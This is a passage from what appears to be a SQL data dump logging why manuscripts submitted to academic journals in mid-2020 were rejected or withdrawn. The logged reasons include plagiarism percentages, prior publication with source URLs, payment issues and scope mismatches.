http://pubs.sciepub.com/ajfn/6/4/2/index.html','2020-06-04'),(313,3950,0,NULL,'Withdrawn','2020-06-04'),(314,3149,0,NULL,'Withdrawn','2020-06-04'),(315,3435,0,NULL,'Withdrawn','2020-06-04'),(316,3396,0,NULL,'Withdrawn','2020-06-04'),(317,1329,0,NULL,'Withdrawn','2020-06-04'),(318,1328,0,NULL,'Withdrawn','2020-06-04'),(319,3991,0,NULL,'there is no author details for this manuscript to submit to the pre qc','2020-06-04'),(320,3615,0,NULL,'Withdrawn','2020-06-05'),(321,3614,0,NULL,'Withdrawn','2020-06-05'),(322,3030,0,NULL,'Withdrawn','2020-06-05'),(323,2650,0,NULL,'Withdrawn','2020-06-05'),(324,4450,0,NULL,'author want to resend manuscript with more content','2020-06-05'),(325,4480,0,NULL,'plagiarized more than 40%','2020-06-05'),(326,4417,0,NULL,'only abstract has been submitted author is banned author','2020-06-05'),(327,4400,0,NULL,'Article exists in Journal of Emergency and Internal Medicine with the title of an extra pulmonary tuberculosis patient abdominal tuberculosis with pseudo meigs syndrome mimicking an advanced ovarian cancer','2020-06-05'),(328,4404,0,NULL,'Already Pulished','2020-06-05'),(329,4406,0,NULL,'Alreadt submitted','2020-06-05'),(330,4408,0,NULL,'Already Published','2020-06-05'),(331,4257,0,NULL,'Rejected, approved in same journal 235772 03-09-2020','2020-06-05'),(332,4510,0,NULL,'Rejected already published https://www.hilarispublisher.com/open-access/origin-and-therapeutic-strategies-for-ectopic-bone-formation-in-skeletal-muscle-2161-0436.1000110.pdf','2020-06-05'),(333,4511,0,NULL,'Rejected already published https://www.hilarispublisher.com/open-access/the-hairless-mutation-hypothesis-explains-not-only-the-origin-of-humanization-from-the-human-ape-common-ancestor-but-also-immature-baby-delivery-2161-0436.1000111.pdf','2020-06-05'),(334,4519,0,NULL,'Article exists in Journal of Molecular and Genetic Medicine','2020-06-05'),(335,3276,0,NULL,'requested for withdrawn and no response later','2020-06-05'),(336,4512,0,NULL,'Rejected, Plagiarised 62.6%','2020-06-05'),(337,4491,0,NULL,'Already published in another journal','2020-06-05'),(338,4491,0,NULL,'Already published in another journal','2020-06-05'),(339,4491,0,NULL,'Already published in another journal','2020-06-05'),(340,4491,0,NULL,'Already published in another journal','2020-06-05'),(341,4354,0,NULL,'only abstract and without title','2020-06-05'),(342,4354,0,NULL,'only abstract and without title','2020-06-05'),(343,4354,0,NULL,'only abstract and without title','2020-06-05'),(344,4284,0,NULL,'Already submitted','2020-06-06'),(345,4284,0,NULL,'already submitted','2020-06-06'),(346,4276,0,NULL,'already submitted','2020-06-06'),(347,4416,0,NULL,'Article exists in Genetics and Molecular Biology Research with the title of antibiotic induced changes to mitochondria result in potential contributions to carcinogenesis heart health other medical conditions and ecosystem risks','2020-06-06'),(348,4357,0,NULL,'Rejected already published http://www.spawhe.eu/fighting-global-warming-extending-the-borders-of-perpetual-motion/','2020-06-06'),(349,3934,0,NULL,'Rejected already published http://www.spawhe.eu/fighting-global-warming-extending-the-borders-of-perpetual-motion/','2020-06-06'),(350,3887,0,NULL,'Article exists in Journal of Marine Science: Research & Development with the title of global warming can be protected by promotion of plankton co2 assimilation','2020-06-06'),(351,3678,0,NULL,'Article exists in Environment Pollution and Climate Change with the title of theorizing the effect of smog on public health in lahore pakistan','2020-06-06'),(352,2936,0,NULL,'author withdraw do to payment issues','2020-06-06'),(353,2855,0,NULL,'author told to withdraw due to payment issues','2020-06-06'),(354,2817,0,NULL,'Author withdraw due to payment issues','2020-06-06'),(355,3048,0,NULL,'author withdraw unaware of publication charges','2020-06-06'),(356,4412,0,NULL,'Banned author. Rejected','2020-06-06'),(357,4359,0,NULL,'Already exists in other journal Journal of Genetic Disorders & Genetic Reports. Under review process','2020-06-06'),(358,4528,0,NULL,'Article exists in Materials Science and Nanotechnology','2020-06-06'),(359,4244,0,NULL,'Article exists in Nanotechnology Letters','2020-06-06'),(360,4557,0,NULL,'Rejected already published https://file.scirp.org/Html/69147_69147.htm','2020-06-08'),(361,4557,0,NULL,'Rejected already published https://file.scirp.org/Html/69147_69147.htm','2020-06-08'),(362,4526,0,NULL,'Rejected, Plagiarised 52.1%','2020-06-08'),(363,4535,0,NULL,'Article exists in journal of materials Engineering and Application with the title of geoexchanger system for buildings heating and cooling','2020-06-08'),(364,3610,0,NULL,'Published','2020-06-08'),(365,3514,0,NULL,'Published','2020-06-08'),(366,4478,0,NULL,'Plagiarised 53.5%','2020-06-08'),(367,4477,0,NULL,'Plagiarised 57%','2020-06-08'),(368,4476,0,NULL,'Plagiarised 45.7%','2020-06-08'),(369,4582,0,NULL,'not in journal format .','2020-06-08'),(370,3718,0,NULL,'title is too short','2020-06-09'),(371,4507,0,NULL,'Already Published','2020-06-09'),(372,4581,0,NULL,'Rejected already published https://koisinvest.com/post/healthcare-in-a-post-covid-19-world-investable-models/','2020-06-09'),(373,4584,0,NULL,'Rejected already published http://bcc.bas.bg/BCC_Volumes/Volume_50_Special_K_2018/BCC-50-K-2018-112-119-Ch.Boyadjiev.pdf','2020-06-09'),(374,4566,0,NULL,'Rejected, Plagiarised 62.5%','2020-06-09'),(375,4561,0,NULL,'Rejected','2020-06-09'),(376,3774,0,NULL,'author want more impact factor','2020-06-09'),(377,4598,0,NULL,'Not in the scope of the journal','2020-06-09'),(378,4579,0,NULL,'Already published in The Arab Journal of Sciences & Research Publishing, Vol. 1 (1); Article no: O130715.\r\nhttps://www.academia.edu/30693284/Heat_Exchangers_Technology_and_Applications_in_Heat_Exchanger_Engineering','2020-06-09'),(379,4533,0,NULL,'Due to plagiarism','2020-06-10'),(380,4473,0,NULL,'alrticle aready exist in MDPI\r\nhttps://www.mdpi.com/2073-4360/11/9/1474','2020-06-10'),(381,4066,0,NULL,'Already accepted in Medical case reports Journal','2020-06-10'),(382,4474,0,NULL,'article already exist in luppine publishers\r\n\r\nhttps://lupinepublishers.com/medical-science-journal/pdf/LOJMS.MS.ID.000201.pdf','2020-06-10'),(383,4336,0,NULL,'Existing article submitted by Conference pc','2020-06-10'),(384,4601,0,NULL,'Rejected, Plagiarised 64%','2020-06-10'),(385,4597,0,NULL,'Banned author','2020-06-10'),(386,4520,0,NULL,'Rejected, Plagiarised 67.4%','2020-06-10'),(387,4521,0,NULL,'Rejected, Plagiarised 44.4%','2020-06-10'),(388,4188,0,NULL,'to large to be accepted as opinion','2020-06-10'),(389,3793,0,NULL,'withdrawn','2020-06-10'),(390,4448,0,NULL,'Plagiarized, 40%','2020-06-10'),(391,4576,0,NULL,'Article exists in Pharmaceutical Regulatory Affairs: Open Access with the title of public health facilities satisfaction on logistics service provided by bahirdar hub pharmaceutical fund and supply agency north west ethiopia','2020-06-10'),(392,4606,0,NULL,'Plagiarised 62.6%','2020-06-10'),(393,4578,0,NULL,'Not related scope','2020-06-10'),(394,3630,0,NULL,'No response from author','2020-06-10'),(395,4454,0,NULL,'plagiarised 69%','2020-06-10'),(396,4405,0,NULL,'withdrawn','2020-06-10'),(397,4293,0,NULL,'89.99% plagarised','2020-06-10'),(398,4319,0,NULL,'incomplete submission','2020-06-10'),(399,4318,0,NULL,'incomplete submission','2020-06-10'),(400,3941,0,NULL,'This article is in different language and author is not responding.','2020-06-10'),(401,4615,0,NULL,'Already Published.','2020-06-10'),(402,4553,0,NULL,'already published','2020-06-10'),(403,4353,0,NULL,'Plagiarised','2020-06-10'),(404,4350,0,NULL,'Plagiarised','2020-06-10'),(405,4534,0,NULL,'Author not willing to pay.','2020-06-10'),(406,4525,0,NULL,'Rejected already published http://pubs.sciepub.com/articleinpress/ijcd/ijcd-7-1-7.pdf','2020-06-10'),(407,4586,0,NULL,'Plagiarised.','2020-06-11'),(408,4583,0,NULL,'not in the scope of journal.','2020-06-11'),(409,3855,0,NULL,'Added same manuscript second time by author which has been already published in our journal .','2020-06-11'),(410,3376,0,NULL,'Article exists in Clinical & Experimental Pharmacology','2020-06-11'),(411,3984,0,NULL,'Rejected, Plagiarised 72.5%','2020-06-11'),(412,4018,0,NULL,'Rejected most of the content is online https://www.ncbi.nlm.nih.gov/pubmed/25579574','2020-06-11'),(413,4184,0,NULL,'Rejected already published http://sphinxsai.com/2019/ch_vol12_no4/2/(163-172)V12N4CT.pdf','2020-06-11'),(414,4185,0,NULL,'Rejected already published http://www.earthjournals.in/crps_175.pdf','2020-06-11'),(415,4205,0,NULL,'Rejected already published http://ijndd.net/apr-jun2014/10.%20IJNDD%206_2_,%20Apr-Jun,%202014,%20173-182_Research%20article_Rajeswari.pdf','2020-06-11'),(416,4207,0,NULL,'Rejected already published http://www.jocpr.com/articles/solid-dispersions-an-evergreen-solubility-enhancement-technique-for-hydrophobic-drugs.pdf','2020-06-11'),(417,4368,0,NULL,'rejected due to not in article format','2020-06-11'),(418,3952,0,NULL,'alredy approved in another journal','2020-06-11'),(419,4562,0,NULL,'published in other journal.','2020-06-11'),(420,3358,0,NULL,'Author Did not submitted the re-writed content yet, So withdrawn','2020-06-11'),(421,3822,0,NULL,'Author Did not submitted the re-writed content yet, So withdrawn','2020-06-11'),(422,4443,0,NULL,'Pre-qc revised ... due to plagarised.......','2020-06-11'),(423,3891,0,NULL,'Rejected','2020-06-11'),(424,4100,0,NULL,'Rejected','2020-06-11'),(425,4195,0,NULL,'Rejected','2020-06-11'),(426,4242,0,NULL,'Rejected','2020-06-11'),(427,4243,0,NULL,'Rejected','2020-06-11'),(428,4265,0,NULL,'Rejected','2020-06-11'),(429,4401,0,NULL,'withdrawn','2020-06-11'),(430,4419,0,NULL,'Rejected','2020-06-11'),(431,3232,0,NULL,'Sent back to author for revision','2020-06-11'),(432,4012,0,NULL,'plagiarized','2020-06-11'),(433,4255,0,NULL,'plagiarized','2020-06-11'),(434,4569,0,NULL,'Already published','2020-06-11'),(435,3590,0,NULL,'already in wihdrawl','2020-06-11'),(436,3909,0,NULL,'Plagiarized','2020-06-11'),(437,3721,0,NULL,'plagiarized','2020-06-11'),(438,2585,0,NULL,'Plagiarized','2020-06-11'),(439,2900,0,NULL,'Plagiarized','2020-06-11'),(440,3239,0,NULL,'Submitted to other journal','2020-06-11'),(441,3670,0,NULL,'Plagiarized','2020-06-11'),(442,4614,0,NULL,'not in journal format','2020-06-11'),(443,4619,0,NULL,'Not in the scope of the journal','2020-06-11'),(444,3845,0,NULL,'No response from the author.','2020-06-11'),(445,2906,0,NULL,'No response from the author side.','2020-06-11'),(446,4159,0,NULL,'No response from the author side.','2020-06-11'),(447,4573,0,NULL,'revised','2020-06-11'),(448,4631,0,NULL,'Plagiarized 55%','2020-06-11'),(449,4631,0,NULL,'Plagiarized 55%','2020-06-11'),(450,4631,0,NULL,'Plagiarized 55%','2020-06-11'),(451,4532,0,NULL,'It contain Plagarism','2020-06-12'),(452,4505,0,NULL,'Already published article','2020-06-12'),(453,4523,0,NULL,'Article title already exit in another journal','2020-06-12'),(454,4634,0,NULL,'withdrawn','2020-06-12'),(455,2641,0,NULL,'not sufficient matter','2020-06-12'),(456,4007,0,NULL,'plagiarized 47 %,  Author is not responding','2020-06-12'),(457,3432,0,NULL,'withrawn','2020-06-12'),(458,3432,0,NULL,'withdrawn','2020-06-12'),(459,4021,0,NULL,'rejected','2020-06-12'),(460,4622,0,NULL,'Rejected most of the content is online','2020-06-12'),(461,4622,0,NULL,'Rejected most of the content is online','2020-06-12'),(462,4022,0,NULL,'Rejected, Plagiarised 71.9%','2020-06-12'),(463,2640,0,NULL,'No response from author','2020-06-12'),(464,4649,0,NULL,'not in journal format.','2020-06-13'),(465,3429,0,NULL,'author was not responding','2020-06-13'),(466,3781,0,NULL,'author was not responding','2020-06-13'),(467,3748,0,NULL,'withdrawn','2020-06-13'),(468,4642,0,NULL,'Plagiarised 42.9%','2020-06-15'),(469,4650,0,NULL,'Rejected already published https://www.omicsonline.org/open-access-pdfs/coccidiomycosis-of-the-central-nervous-system-2314-7326-1000e103.pdf','2020-06-15'),(470,4686,0,NULL,'Already published','2020-06-15'),(471,4688,0,NULL,'Not in the scope of Journal','2020-06-15'),(472,4661,0,NULL,'Already published','2020-06-15'),(473,4667,0,NULL,'Not full length','2020-06-15'),(474,4674,0,NULL,'too small to accept as research article','2020-06-15'),(475,4674,0,NULL,'Not in the scope of the journal','2020-06-15'),(476,4663,0,NULL,'Not in the scope of the journal','2020-06-15'),(477,4516,0,NULL,'Withdrawn','2020-06-15'),(478,4668,0,NULL,'Rejected most of the content is online','2020-06-15'),(479,4666,0,NULL,'Rejected already published https://www.onlinelibrary.wiley.com/doi/full/10.1111/jcmm.14483','2020-06-15'),(480,4678,0,NULL,'Rejected, approved in International Journal of Applied Science - Research and Review 240479 05-25-2020','2020-06-16'),(481,4702,0,NULL,'Withdrawn, due to publication fee','2020-06-17'),(482,4664,0,NULL,'PC submitted only abstract','2020-06-17'),(483,4713,0,NULL,'too small to be accepted as short communication .','2020-06-17'),(484,4670,0,NULL,'author has not submitted Full length article','2020-06-18'),(485,4669,0,NULL,'author has not submitted Full length article','2020-06-18'),(486,4660,0,NULL,'author has not submitted Full length article','2020-06-18'),(487,4617,0,NULL,'Revision required.','2020-06-18'),(488,4621,0,NULL,'Preqc Rejected','2020-06-18'),(489,4271,0,NULL,'most of the content is from online','2020-06-18'),(490,4712,0,NULL,'Article exists in Medical Reports & Case Studies','2020-06-18'),(491,4590,0,NULL,'cant pay the publication charges','2020-06-19'),(492,4723,0,NULL,'other language','2020-06-19'),(493,4726,0,NULL,'manuscript is in other language requested author to submit it in English language','2020-06-19'),(494,4741,0,NULL,'manuscript is in another language requested author to submit it in English language','2020-06-19'),(495,4656,0,NULL,'Uploaded twice by author','2020-06-19'),(496,4651,0,NULL,'not in word form','2020-06-19'),(497,4570,0,NULL,'due to payment','2020-06-19'),(498,4570,0,NULL,'due to payment','2020-06-19'),(499,4570,0,NULL,'due to payment','2020-06-19'),(500,4570,0,NULL,'due to payment','2020-06-19'),(501,4570,0,NULL,'due to payment','2020-06-19'),(502,4570,0,NULL,'due to payment','2020-06-19'),(503,4756,0,NULL,'Not in the scope of the journal','2020-06-20'),(504,4694,0,NULL,'Article already exist in ACS PUBLICATION (https://pubs.acs.org/doi/10.1021/acsanm.9b01226)','2020-06-20'),(505,4736,0,NULL,'53.8%','2020-06-20'),(506,4652,0,NULL,'already submitted in another journal','2020-06-20'),(507,4343,0,NULL,'withdrawn','2020-06-21'),(508,4760,0,NULL,'Already Published','2020-06-21'),(509,4685,0,NULL,'Existing article','2020-06-22'),(510,4762,0,NULL,'not under journal scope','2020-06-22'),(511,4759,0,NULL,'Revision required','2020-06-22'),(512,4745,0,NULL,'Rejected','2020-06-22'),(513,4744,0,NULL,'Rejected','2020-06-22'),(514,4770,0,NULL,'Article got already published.  https://www.ijcseonline.org/pub_paper/36-IJCSE-07781-36.pdf','2020-06-22'),(515,4755,0,NULL,'Author wants to submit revised manuscript but by mistake he uploaded the article as new submission. This article is already in process.','2020-06-22'),(516,4554,0,NULL,'already published','2020-06-22'),(517,4783,0,NULL,'same as another article','2020-06-23'),(518,4711,0,NULL,'Article exists in International Journal of Drug Development and Research with the title of comparative study of spectrometric and liquid chromatographic method for determination of bisacodyl in dissolution medium containing sodium lauryl sulfate','2020-06-23'),(519,4790,0,NULL,'Rejected based on content','2020-06-23'),(520,4646,0,NULL,'Not in scope of journal','2020-06-23'),(521,3869,0,NULL,'withdrawn','2020-06-23'),(522,4748,0,NULL,'No written manuscript','2020-06-23'),(523,4782,0,NULL,'Article exists in International Journal of Medical Research & Health Sciences with the title of services available in the transfusion medicine department of sir salimullah medical college and mitford hospital\r\nArticle Title Already Exists Choose Another','2020-06-23'),(524,4781,0,NULL,'Already publish','2020-06-23'),(525,3869,0,NULL,'withdrawn','2020-06-24'),(526,4805,0,NULL,'Plagiarised 56.5%, Change article type to research','2020-06-24'),(527,4808,0,NULL,'Author wants to withdraw his article because of The lack of impact factor and sufficient indexing. \r\nAfter providing discount also author decided to withdraw his article.','2020-06-24'),(528,4817,0,NULL,'Rejected, Plagiarised 51.1%','2020-06-24'),(529,4803,0,NULL,'Plagiarised 42.1%, Change article type to research','2020-06-25'),(530,2909,0,NULL,'Already published','2020-06-25'),(531,4671,0,NULL,'Submit to check the portal is working or not','2020-06-26'),(532,4703,0,NULL,'Plagarised','2020-06-26'),(533,4853,0,NULL,'Rejected already published https://www.touchcardio.com/wp-content/uploads/sites/4/2018/08/private_articles_22864_pdf_HEI_2014_9_2-5000219.pdf','2020-06-26'),(534,4868,0,NULL,'not in journal format . too short to accept as short communication .','2020-06-26'),(535,4893,0,NULL,'Article exists in Journal of Nuclear Medicine & Radiation Therapy with the title of about the etiology of schizophrenia','2020-06-27'),(536,4890,0,NULL,'Research topic is not relevant to Journals Highlight.','2020-06-27'),(537,4891,0,NULL,'Research topic is not relevant to journals Highlight','2020-06-27'),(538,4810,0,NULL,'Published in another journal','2020-06-27'),(539,4892,0,NULL,'Rejected already published http://www.smj.eg.net/journals/pdf/840.pdf','2020-06-27'),(540,4795,0,NULL,'submitted in some other journal','2020-06-27'),(541,4845,0,NULL,'language different','2020-06-29'),(542,4886,0,NULL,'Article exists in Oral Health and Dental Management with the title of an odontogenic myxoma of maxilla;a case report.','2020-06-29'),(543,4875,0,NULL,'Already exist in Journal of Ecology and Environmental Sciences','2020-06-29'),(544,4857,0,NULL,'PUBLISHED in Multiple sites','2020-06-29'),(545,4836,0,NULL,'Plagiarised 74.6%','2020-06-29'),(546,4877,0,NULL,'Rejected already published https://ijpsr.com/bft-article/nano-theranostics-a-breakthrough-in-cancer-diagnosis-and-treatment-and-regulations-of-nano-technology-products/?view=fulltext','2020-06-29'),(547,4922,0,NULL,'Does not come under scope of the journal.','2020-06-29'),(548,4922,0,NULL,'Does not come under scope of the journal.','2020-06-29'),(549,4922,0,NULL,'Does not come under scope of the journal.','2020-06-29'),(550,4918,0,NULL,'Article exists in Journal of Community Medicine & Health Education','2020-06-29'),(551,4925,0,NULL,'Not in the scope of Journal','2020-06-29'),(552,4905,0,NULL,'Pre Qc Rejected','2020-06-29'),(553,4895,0,NULL,'Not in the scope of the journal, Plagiarised 75.1%','2020-06-29'),(554,4851,0,NULL,'Incomplete article..mailed to author for full article','2020-06-29'),(555,4883,0,NULL,'Already Published in other Journal.','2020-06-29'),(556,4882,0,NULL,'Already Published in other Journal.','2020-06-29'),(557,4881,0,NULL,'Already Published in other Journal.','2020-06-29'),(558,4879,0,NULL,'Already Published in other Journal.','2020-06-29'),(559,4878,0,NULL,'Already Published in other Journal.','2020-06-29'),(560,4867,0,NULL,'Already Published in other Journal.','2020-06-29'),(561,4867,0,NULL,'Already Published in other Journal.','2020-06-29'),(562,4866,0,NULL,'Already Published in other Journal.','2020-06-29'),(563,4865,0,NULL,'Already Published in other Journal.','2020-06-29'),(564,4862,0,NULL,'Already Published in other Journal.','2020-06-29'),(565,4862,0,NULL,'Already Published in other Journal.','2020-06-29'),(566,4863,0,NULL,'Already Published in other Journal.','2020-06-29'),(567,4864,0,NULL,'Already Published in other Journal.','2020-06-29'),(568,4772,0,NULL,'Rejected already published https://www.pacenewsonline.com/2020/05/17/the-covid-19-pandemic-an-american-health-divide/','2020-06-29'),(569,4921,0,NULL,'Already published article https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6912844/','2020-06-29'),(570,4902,0,NULL,'Plagiarized','2020-06-30'),(571,4902,0,NULL,'Plagiarised 52.8%, too small to accept as case report','2020-06-30'),(572,4901,0,NULL,'Rejected, Plagiarised 53.8%','2020-06-30'),(573,4838,0,NULL,'plagarised 68%','2020-06-30'),(574,4961,0,NULL,'Article already published!!','2020-06-30'),(575,4903,0,NULL,'Rejected, Plagiarised 56.9%','2020-06-30'),(576,4903,0,NULL,'Rejected, Plagiarised 56.9%','2020-06-30'),(577,4768,0,NULL,'70% plagiarised.','2020-06-30'),(578,4794,0,NULL,'article is not in English version','2020-06-30'),(579,4995,0,NULL,'not in journal format','2020-07-01'),(580,4994,0,NULL,'not in journal format','2020-07-01'),(581,4916,0,NULL,'Article exists in Journal of Horticulture with the title of genetic diversity based on analyses in potato solanum tuberosum l for yield and processing attributes','2020-07-01'),(582,5010,0,NULL,'already submitted','2020-07-01'),(583,5012,0,NULL,'already submitted','2020-07-01'),(584,4880,0,NULL,'Too large to accept as any article','2020-07-01'),(585,4997,0,NULL,'not in journal format','2020-07-01'),(586,5025,0,NULL,'Not in the scope of Journal','2020-07-01'),(587,4929,0,NULL,'Rejected already published: https://emedicine.medscape.com/article/1093801-overview','2020-07-01'),(588,4946,0,NULL,'Article exists in Journal of Clinical Toxicology with the title of successful outcome following a loading dose of n-acetylcysteine to treat repeated supratherapeutic doses of paracetamol','2020-07-01'),(589,4966,0,NULL,'Rejected already published https://www.nature.com/articles/s41598-019-38974-0','2020-07-01'),(590,5023,0,NULL,'Article already has been published\r\nhttps://pdfs.semanticscholar.org/c677/581dd45b20b3063fc0d3f3babf6251d263ab.pdf','2020-07-02'),(591,4968,0,NULL,'Rejected, submitted to Journal of Orthopaedics Trauma Surgery and Related Research, 232461 12-28-2019, Not in the scope','2020-07-02'),(592,4968,1,'592-plagrism.docx','Rejected, submitted to Journal of Orthopaedics Trauma Surgery and Related Research, 232461 12-28-2019, Not in the scope','2020-07-02'),(593,4964,1,'593-plagrism.doc','Rejected, submitted to Journal of Orthopaedics Trauma Surgery and Related Research, 232461 12-28-2019, Not in the scope','2020-07-02'),(594,4952,1,'594-plagrism.doc','Rejected, submitted to Journal of Orthopaedics Trauma Surgery and Related Research, 232461 12-28-2019, Not in the scope','2020-07-02'),(595,5034,0,NULL,'Not in the scope of journal','2020-07-02'),(596,4973,1,'596-plagrism.pdf','84%','2020-07-02'),(597,4654,0,NULL,'Not in the scope of the journal','2020-07-02'),(598,4653,0,NULL,'Not in the scope of the journal','2020-07-02'),(599,4975,0,NULL,'already published','2020-07-02'),(600,4970,0,NULL,'already published','2020-07-02'),(601,4972,1,'601-plagrism.pdf','86%','2020-07-02'),(602,5022,0,NULL,'Rejected, already published https://medwinpublishers.com/NNOAJ/NNOAJ16000150.pdf','2020-07-02'),(603,4673,1,'603-plagrism.pdf','Revise, Plagiarised 41%','2020-07-02'),(604,4989,0,NULL,'File is not there','2020-07-02'),(605,4931,0,NULL,'out of scope','2020-07-02'),(606,4517,0,NULL,'withdrawn','2020-07-02'),(607,4628,1,'607-plagrism.docx','Rejected, Plagiarised 73.9%','2020-07-02'),(608,4627,1,'608-plagrism.docx','Rejected already published https://www.ijpsonline.com/articles/physician-payment-incentives-and-associated-healthcare-utilization-outcomes-in-medicaid-enrolled-asthmatic-children.pdf','2020-07-02'),(609,4627,1,'609-plagrism.docx','Rejected already published https://www.ijpsonline.com/articles/physician-payment-incentives-and-associated-healthcare-utilization-outcomes-in-medicaid-enrolled-asthmatic-children.pdf','2020-07-02'),(610,4799,0,NULL,'Not in the scope of the Journal','2020-07-02'),(611,4818,0,NULL,'not in the scope of the Journal','2020-07-02'),(612,4940,0,NULL,'Author has already submitted to the Journal with same Article title','2020-07-02'),(613,4884,1,'613-plagrism.docx','Plagiarism','2020-07-02'),(614,4754,1,'614-plagrism.docx','Plagiarised','2020-07-02'),(615,4655,0,NULL,'Out of scope.','2020-07-02'),(616,4647,0,NULL,'need revision','2020-07-02'),(617,4828,0,NULL,'ppt was submitted','2020-07-02'),(618,4914,0,NULL,'Rejected already published https://chemrxiv.org/articles/On_the_Generation_of_Novel_Ligands_for_SARS-CoV-2_Protease_and_ACE2_Receptor_via_Constrained_Graph_Variational_Autoencoders/12011157/1','2020-07-02'),(619,4909,1,'619-plagrism.pdf','sent request to author for submitting the revise','2020-07-02'),(620,5042,0,NULL,'The article submitted to the Journal of Rare Disorders: Diagnosis & Therapy is already in process with the Indian Journal of Pharmaceutical Sciences.','2020-07-02'),(621,5044,1,'621-plagrism.docx','Plagarism','2020-07-02'),(622,4984,1,'622-plagrism.docx','Already exists','2020-07-02'),(623,4983,1,'623-plagrism.docx','Published','2020-07-02'),(624,4981,1,'624-plagrism.docx','Completedly remove microcurriculum','2020-07-02'),(625,4996,0,NULL,'Rejected already published https://clinicaltb.blogspot.com/2015/11/case-study-pharmacotherapeutic-analysis.html','2020-07-02'),(626,4979,1,'626-plagrism.docx','Article exists in Journal of Neuropsychiatry with the title of compilation of testimonials','2020-07-02'),(627,4896,1,'627-plagrism.docx','Article exists in Journal of Novel Physiotherapies with the title of transcranial magnetic stimulation for stroke rehab','2020-07-02'),(628,4829,1,'628-plagrism.docx','Article exists in Primary Health Care: Open Access with the title of an unusual case of dyspnea','2020-07-02'),(629,4503,1,'629-plagrism.rtf','incomplete article uploaded . Hence rejected\r\n\r\nNO RESPONSE FROM AUTHOR EVEN AFTER NOTIFYING MANY TIMES','2020-07-02'),(630,3975,0,NULL,'Already published','2020-07-02'),(631,4774,0,NULL,'it is wrongly submitted','2020-07-02'),(632,4774,0,NULL,'It is wrongly submitted ny the author.. only attached images','2020-07-02'),(633,3998,0,NULL,'Article sent to MDPI, need author consent letter','2020-07-02'),(634,4041,0,NULL,'Article exists in Environment Pollution and Climate Change','2020-07-02'),(635,4120,0,NULL,'Rejected, Plagiarised 58.2%','2020-07-02'),(636,4123,0,NULL,'Revise, Plagiarised 46.1%\r\nAuthor wants 0 APC invoice','2020-07-02'),(637,4165,0,NULL,'Rejected, submitted to Journal of Bioremediation & Biodegradation 239813, 05-19-2020','2020-07-02'),(638,4189,0,NULL,'Revise, Plagiarised 41.8%','2020-07-02'),(639,4374,0,NULL,'Already published','2020-07-02'),(640,4374,0,NULL,'https://www.mdpi.com/2223-7747/9/3/310 Already published','2020-07-02'),(641,4375,0,NULL,'Rejected, already published https://pubmed.ncbi.nlm.nih.gov/31726588/','2020-07-02'),(642,4722,0,NULL,'Revise, Plagiarised 42.9%','2020-07-02'),(643,4792,0,NULL,'Rejected, Plagiarised 61.2%','2020-07-02'),(644,4796,0,NULL,'Article sent repeatedly','2020-07-02'),(645,4718,0,NULL,'Author is asked for the revised submission','2020-07-03'),(646,5015,1,'646-plagrism.pdf','Plagiarized 56.5%','2020-07-03'),(647,5015,1,'647-plagrism.pdf','Plagiarized 56.5%','2020-07-03'),(648,5015,1,'648-plagrism.pdf','Plagiarized 56.5%','2020-07-03'),(649,5009,1,'649-plagrism.pdf','plagiarized 56.5%','2020-07-03'),(650,5008,1,'650-plagrism.pdf','plagiarized 56.5%','2020-07-03'),(651,5006,1,'651-plagrism.pdf','plagiarized 56.5%','2020-07-03'),(652,5005,1,'652-plagrism.pdf','plagiarized 56.5%','2020-07-03'),(653,5027,1,'653-plagrism.pdf','Plagiarism','2020-07-03'),(654,5040,2,NULL,'Rejected approved in Journal of Food, Nutrition and Population Health 244036 07-02-2020','2020-07-03'),(655,5040,2,NULL,'Rejected approved in Journal of Food, Nutrition and Population Health 244036 07-02-2020','2020-07-03'),(656,4738,2,NULL,'Content was less','2020-07-03'),(657,4985,1,'657-plagrism.pdf','Rejected, Plagiarised 61%','2020-07-04'),(658,4936,2,NULL,'not in the scope','2020-07-04'),(659,4876,2,NULL,'https://www.jstage.jst.go.jp/article/nano/11/2/11_49/_article/-char/en','2020-07-04'),(660,4990,2,NULL,'aready got published in another journal','2020-07-04'),(661,4827,2,NULL,'author withdrawn','2020-07-04'),(662,4842,2,NULL,'Article exists in Journal of Environmental & Analytical Toxicology with the title of preparation and characterization of environmental functional poly styrene co2 diethylamino methyl 4formyl6methoxyphenyl acrylate copolymers for amino acid post polymerization','2020-07-04'),(663,4841,2,NULL,'Article exists in Journal of Environmental & Analytical Toxicology with the title of climatic characteristics of dust storms in jordan','2020-07-04'),(664,4697,2,NULL,'Article exists in Journal of Environmental & Analytical Toxicology with the title of editorial impacts of global warming on irrigation and drainage development climate change scenarios and a strategic action program','2020-07-04'),(665,4816,1,'665-plagrism.pdf','Article is withdrawn by the author and its plagiarised','2020-07-06'),(666,5030,2,NULL,'rejected','2020-07-06'),(667,4959,1,'667-plagrism.pdf','Rejected, Plagiarised 83.6%','2020-07-06'),(668,5052,2,NULL,'Not is scope and processed with International Journal of Clinical Skills','2020-07-07'),(669,4832,1,'669-plagrism.png','Plagiarised','2020-07-07'),(670,4839,2,NULL,'rejected','2020-07-07'),(671,4974,2,NULL,'Not in the scope of the journal','2020-07-07'),(672,4765,2,NULL,'withdrawn','2020-07-07'),(673,5047,2,NULL,'Rejected, article not in English, already published https://www.mendoza-conicet.gob.ar/asades/modulos/averma/trabajos/2012/2012-t006-a013.pdf','2020-07-07'),(674,5054,1,'674-plagrism.pdf','plagiarism','2020-07-07'),(675,5079,1,'675-plagrism.pdf','plagiarism','2020-07-07'),(676,5045,2,NULL,'Rejected, already published https://publisher.uthm.edu.my/ojs/index.php/IJSCET/article/view/867/587','2020-07-07'),(677,5082,2,NULL,'Rejected, already published https://www.hindawi.com/journals/cric/2012/516027/','2020-07-08'),(678,5085,1,'678-plagrism.docx','Rejected, Plagiarised 81.2%','2020-07-08'),(679,4835,2,NULL,'rejected','2020-07-08'),(680,4834,1,'680-plagrism.PNG','rejected','2020-07-08'),(681,4825,2,NULL,'rejected and withdrawn','2020-07-08'),(682,5088,2,NULL,'Rejected, already published https://www.sciencedirect.com/science/article/pii/S235291481930423X','2020-07-08'),(683,5102,2,NULL,'Uploaded Twice','2020-07-08'),(684,5099,2,NULL,'already present in other journal','2020-07-08'),(685,5078,2,NULL,'Not in the scope of the journal','2020-07-09'),(686,5118,2,NULL,'Uploaded twice','2020-07-09'),(687,5117,2,NULL,'Uploaded twice','2020-07-09'),(688,5094,2,NULL,'less wordcount','2020-07-09'),(689,5000,2,NULL,'too small to accept as case report','2020-07-09'),(690,4971,2,NULL,'Not in scope','2020-07-09'),(691,4370,2,NULL,'Already published','2020-07-10'),(692,4370,2,NULL,'Already 